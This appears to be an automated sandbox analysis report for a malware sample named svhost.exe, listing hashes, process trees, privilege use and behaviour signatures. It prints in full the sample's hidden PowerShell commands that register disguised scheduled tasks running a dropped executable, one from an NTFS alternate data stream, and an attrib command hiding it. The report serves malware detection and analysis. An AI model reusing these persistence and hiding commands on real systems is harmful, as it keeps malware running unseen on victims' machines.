Analysis
- max time kernel
149s - max time network
142s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows - submitted
14/04/2026, 01:58
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
svhost.exe
Resource
win10v2004-20260130-en
25 signatures
150 seconds
Behavioral task
behavioral2
Sample
svhost.exe
Resource
win11-20260130-en
8 signatures
150 seconds
General
- Target svhost.exe
- Size 263KB
- Sample260414-cd9knady2y
- SHA256 23ed51909e20f1e128aaf46cd8bc76f5c91488f80e9def6a101e0508a085629b
- MD5 21a278e9cfa096bd4d316f0f57326cac
- SHA1 14680562b97f3d5af33b1bd2b171864268d34def
- SHA512 c7d8ee2cbce09fcb81ba2aede2915799b7eceaaa86362313ec25e364a6d3abaff9c2bb4317f85466fae7c448f68ff331ebf5c219f5e36a534abd29bfb27f2769
- SSDEEP 3072:2h1F2OauXFl1JlYGrWLEUdllODk8BLxf2kh/u129/J1BInCn7rQfUnWthNkIg:Q/lauXFlOGrW5dbYtu1k8nCnmUnWfNk
- TLSH T19B44190AF75360EEC92BC13483ABA3337531BC5E5230AE2A9758CB753D52E505A7DE18
- MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
pid Process 4424 powershell.exe 3764 powershell.exe 2412 powershell.exe - Executes dropped EXE 4 IoCs
pid Process 5932 AppResolveWorker.exe 2184 AppResolveWorker.exe 784 AppResolveWorker.exe 3176 Roaming:AppResolveWorker - Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs
pid Process 4448 cmd.exe - NTFS ADS 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming:AppResolveWorker AppResolveWorker.exe File opened for modification C:\Users\Admin\AppData\Roaming:AppResolveWorker AppResolveWorker.exe - Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 4424 powershell.exe 4424 powershell.exe 3764 powershell.exe 3764 powershell.exe 2412 powershell.exe 2412 powershell.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 4424 powershell.exe Token: SeIncreaseQuotaPrivilege 4424 powershell.exe Token: SeSecurityPrivilege 4424 powershell.exe Token: SeTakeOwnershipPrivilege 4424 powershell.exe Token: SeLoadDriverPrivilege 4424 powershell.exe Token: SeSystemProfilePrivilege 4424 powershell.exe Token: SeSystemtimePrivilege 4424 powershell.exe Token: SeProfSingleProcessPrivilege 4424 powershell.exe Token: SeIncBasePriorityPrivilege 4424 powershell.exe Token: SeCreatePagefilePrivilege 4424 powershell.exe Token: SeBackupPrivilege 4424 powershell.exe Token: SeRestorePrivilege 4424 powershell.exe Token: SeShutdownPrivilege 4424 powershell.exe Token: SeDebugPrivilege 4424 powershell.exe Token: SeSystemEnvironmentPrivilege 4424 powershell.exe Token: SeRemoteShutdownPrivilege 4424 powershell.exe Token: SeUndockPrivilege 4424 powershell.exe Token: SeManageVolumePrivilege 4424 powershell.exe Token: 33 4424 powershell.exe Token: 34 4424 powershell.exe Token: 35 4424 powershell.exe Token: 36 4424 powershell.exe Token: SeIncreaseQuotaPrivilege 4424 powershell.exe Token: SeSecurityPrivilege 4424 powershell.exe Token: SeTakeOwnershipPrivilege 4424 powershell.exe Token: SeLoadDriverPrivilege 4424 powershell.exe Token: SeSystemProfilePrivilege 4424 powershell.exe Token: SeSystemtimePrivilege 4424 powershell.exe Token: SeProfSingleProcessPrivilege 4424 powershell.exe Token: SeIncBasePriorityPrivilege 4424 powershell.exe Token: SeCreatePagefilePrivilege 4424 powershell.exe Token: SeBackupPrivilege 4424 powershell.exe Token: SeRestorePrivilege 4424 powershell.exe Token: SeShutdownPrivilege 4424 powershell.exe Token: SeDebugPrivilege 4424 powershell.exe Token: SeSystemEnvironmentPrivilege 4424 powershell.exe Token: SeRemoteShutdownPrivilege 4424 powershell.exe Token: SeUndockPrivilege 4424 powershell.exe Token: SeManageVolumePrivilege 4424 powershell.exe Token: 33 4424 powershell.exe Token: 34 4424 powershell.exe Token: 35 4424 powershell.exe Token: 36 4424 powershell.exe Token: SeIncreaseQuotaPrivilege 4424 powershell.exe Token: SeSecurityPrivilege 4424 powershell.exe Token: SeTakeOwnershipPrivilege 4424 powershell.exe Token: SeLoadDriverPrivilege 4424 powershell.exe Token: SeSystemProfilePrivilege 4424 powershell.exe Token: SeSystemtimePrivilege 4424 powershell.exe Token: SeProfSingleProcessPrivilege 4424 powershell.exe Token: SeIncBasePriorityPrivilege 4424 powershell.exe Token: SeCreatePagefilePrivilege 4424 powershell.exe Token: SeBackupPrivilege 4424 powershell.exe Token: SeRestorePrivilege 4424 powershell.exe Token: SeShutdownPrivilege 4424 powershell.exe Token: SeDebugPrivilege 4424 powershell.exe Token: SeSystemEnvironmentPrivilege 4424 powershell.exe Token: SeRemoteShutdownPrivilege 4424 powershell.exe Token: SeUndockPrivilege 4424 powershell.exe Token: SeManageVolumePrivilege 4424 powershell.exe Token: 33 4424 powershell.exe Token: 34 4424 powershell.exe Token: 35 4424 powershell.exe Token: 36 4424 powershell.exe - Suspicious use of WriteProcessMemory 14 IoCs
description pid Process procid_target PID 1372 wrote to memory of 5932 1372 svhost.exe 79 PID 5932 wrote to memory of 2184 5932 AppResolveWorker.exe 80 PID 5932 wrote to memory of 692 5932 AppResolveWorker.exe 81 PID 692 wrote to memory of 5000 692 cmd.exe 83 PID 692 wrote to memory of 4424 692 cmd.exe 84 PID 5932 wrote to memory of 4048 5932 AppResolveWorker.exe 86 PID 4048 wrote to memory of 2888 4048 cmd.exe 88 PID 4048 wrote to memory of 3764 4048 cmd.exe 89 PID 5932 wrote to memory of 848 5932 AppResolveWorker.exe 90 PID 848 wrote to memory of 3812 848 cmd.exe 92 PID 848 wrote to memory of 2412 848 cmd.exe 93 PID 5932 wrote to memory of 4448 5932 AppResolveWorker.exe 94 PID 4448 wrote to memory of 2984 4448 cmd.exe 96 PID 4448 wrote to memory of 6132 4448 cmd.exe 97 - Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 6132 attrib.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\svhost.exe"C:\Users\Admin\AppData\Local\Temp\svhost.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:1372 -
C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\AppResolveWorker.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\AppResolveWorker.exe" --r2⤵
- Executes dropped EXE
- NTFS ADS
- Suspicious use of WriteProcessMemory
PID:5932 -
C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\AppResolveWorker.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\AppResolveWorker.exe" --wd 59323⤵
- Executes dropped EXE
PID:2184
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C:\Windows\SYSTEM32\cmd.execmd.exe /c chcp 65001 >nul && powershell -NoP -W Hidden -C "$a=New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\AppResolveWorker.exe';$t=New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 2);$s=New-ScheduledTaskSettingsSet -Hidden -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -ExecutionTimeLimit 0;Register-ScheduledTask -Force -TaskName '\Microsoft\Windows\Maintenance\StateManagerSvc' -Action $a -Trigger $t -Settings $s"3⤵
- Suspicious use of WriteProcessMemory
PID:692 -
C:\Windows\system32\chcp.comchcp 650014⤵PID:5000
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoP -W Hidden -C "$a=New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\AppResolveWorker.exe';$t=New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 2);$s=New-ScheduledTaskSettingsSet -Hidden -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -ExecutionTimeLimit 0;Register-ScheduledTask -Force -TaskName '\Microsoft\Windows\Maintenance\StateManagerSvc' -Action $a -Trigger $t -Settings $s"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4424
-
-
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C:\Windows\SYSTEM32\cmd.execmd.exe /c chcp 65001 >nul && powershell -NoP -W Hidden -C "$a=New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming:AppResolveWorker';$t=New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 2);$s=New-ScheduledTaskSettingsSet -Hidden -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -ExecutionTimeLimit 0;Register-ScheduledTask -Force -TaskName '\Microsoft\Windows\Maintenance\WinSvcHost' -Action $a -Trigger $t -Settings $s"3⤵
- Suspicious use of WriteProcessMemory
PID:4048 -
C:\Windows\system32\chcp.comchcp 650014⤵PID:2888
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoP -W Hidden -C "$a=New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming:AppResolveWorker';$t=New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 2);$s=New-ScheduledTaskSettingsSet -Hidden -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -ExecutionTimeLimit 0;Register-ScheduledTask -Force -TaskName '\Microsoft\Windows\Maintenance\WinSvcHost' -Action $a -Trigger $t -Settings $s"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:3764
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-
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C:\Windows\SYSTEM32\cmd.execmd.exe /c chcp 65001 >nul && powershell -NoP -W Hidden -C "$a=New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming:AppResolveWorker';$t=New-ScheduledTaskTrigger -AtLogOn;$s=New-ScheduledTaskSettingsSet -Hidden -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -ExecutionTimeLimit 0;Register-ScheduledTask -Force -TaskName '\Microsoft\Windows\Servicing\StartComponentCleanup' -Action $a -Trigger $t -Settings $s"3⤵
- Suspicious use of WriteProcessMemory
PID:848 -
C:\Windows\system32\chcp.comchcp 650014⤵PID:3812
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoP -W Hidden -C "$a=New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming:AppResolveWorker';$t=New-ScheduledTaskTrigger -AtLogOn;$s=New-ScheduledTaskSettingsSet -Hidden -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -ExecutionTimeLimit 0;Register-ScheduledTask -Force -TaskName '\Microsoft\Windows\Servicing\StartComponentCleanup' -Action $a -Trigger $t -Settings $s"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:2412
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-
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C:\Windows\SYSTEM32\cmd.execmd.exe /c chcp 65001 >nul && attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\AppResolveWorker.exe"3⤵
- Hide Artifacts: Hidden Files and Directories
- Suspicious use of WriteProcessMemory
PID:4448 -
C:\Windows\system32\chcp.comchcp 650014⤵PID:2984
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C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\AppResolveWorker.exe"4⤵
- Views/modifies file attributes
PID:6132
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-
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C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\AppResolveWorker.exeC:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\AppResolveWorker.exe1⤵
- Executes dropped EXE
PID:784
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C:\Users\Admin\AppData\Roaming:AppResolveWorkerC:\Users\Admin\AppData\Roaming:AppResolveWorker1⤵
- Executes dropped EXE
PID:3176
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 3KB
- SHA256 3fc98f1a0dd73c0067a28034a6d84e86b27418d68cc2fdf26345be6f4217dcf1
- MD5 9f3107a91c0a75eb75418f89fe7dcbcd
- SHA1 4538595145969d10d68c8d5fd73d51a58cde93d4
- SHA512 12506d31fba03a505c3921876135d8b9cd5fd3659c5c97b2158001ab788f0f9dcff055e95be1bd33583098848efd1036d05c0b6e23d7191b02b444a37d0dbf2c
- TLSH T1F381CD323375A0D4C9563F07192C19C463AF4396EA58AF4CB658620EE92B54BDB222F7
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\AppResolveWorker.exe
- Size 263KB
- SHA256 23ed51909e20f1e128aaf46cd8bc76f5c91488f80e9def6a101e0508a085629b
- MD5 21a278e9cfa096bd4d316f0f57326cac
- SHA1 14680562b97f3d5af33b1bd2b171864268d34def
- SHA512 c7d8ee2cbce09fcb81ba2aede2915799b7eceaaa86362313ec25e364a6d3abaff9c2bb4317f85466fae7c448f68ff331ebf5c219f5e36a534abd29bfb27f2769
- SSDEEP 3072:2h1F2OauXFl1JlYGrWLEUdllODk8BLxf2kh/u129/J1BInCn7rQfUnWthNkIg:Q/lauXFlOGrW5dbYtu1k8nCnmUnWfNk
- TLSH T19B44190AF75360EEC92BC13483ABA3337531BC5E5230AE2A9758CB753D52E505A7DE18
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 931ebe105c3d0e5bd38925c2b2d0e67b5dce138ddb16cdb9bc1bb62bf3bf06b5
- MD5 cab626bc6bf51892df5743b1f6abcf3e
- SHA1 015cfd9fe61eeb3907999762bbd387a0afa36b46
- SHA512 3c5ea8a753991e14614c2051710a331861a839e1fb842410610219235db942189473db5abc803b88ab73f3a5849491870ca994743b1e37fa67de271a7b517258
- TLSH T19C216533B3ECC125C8D9117A208CAD00B2B5C3C7449F8F8B7A84C619957FADADB641A4
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 f3b774e541f85196be7dbcee939ac227676e63b634c9b538dcf51247e02640fa
- MD5 f9bac785648c340659bfa9d618c09cd5
- SHA1 fad83c3958c1b180b9eee021dc87382328a1b786
- SHA512 def84791c1543b4e7c38271f49b84c82881725db020fddfd5e07a1072c978732b3745154a902865122efba9fbb472e9cdea16fa50e29cac0d248ee4c72495eb7
- TLSH T1E2216533B3DCC065C8D9117A208CAD00B2B6C3C7449ECF8B7B84C519957F9DADB641A4
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dytu5cpx.gyw.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH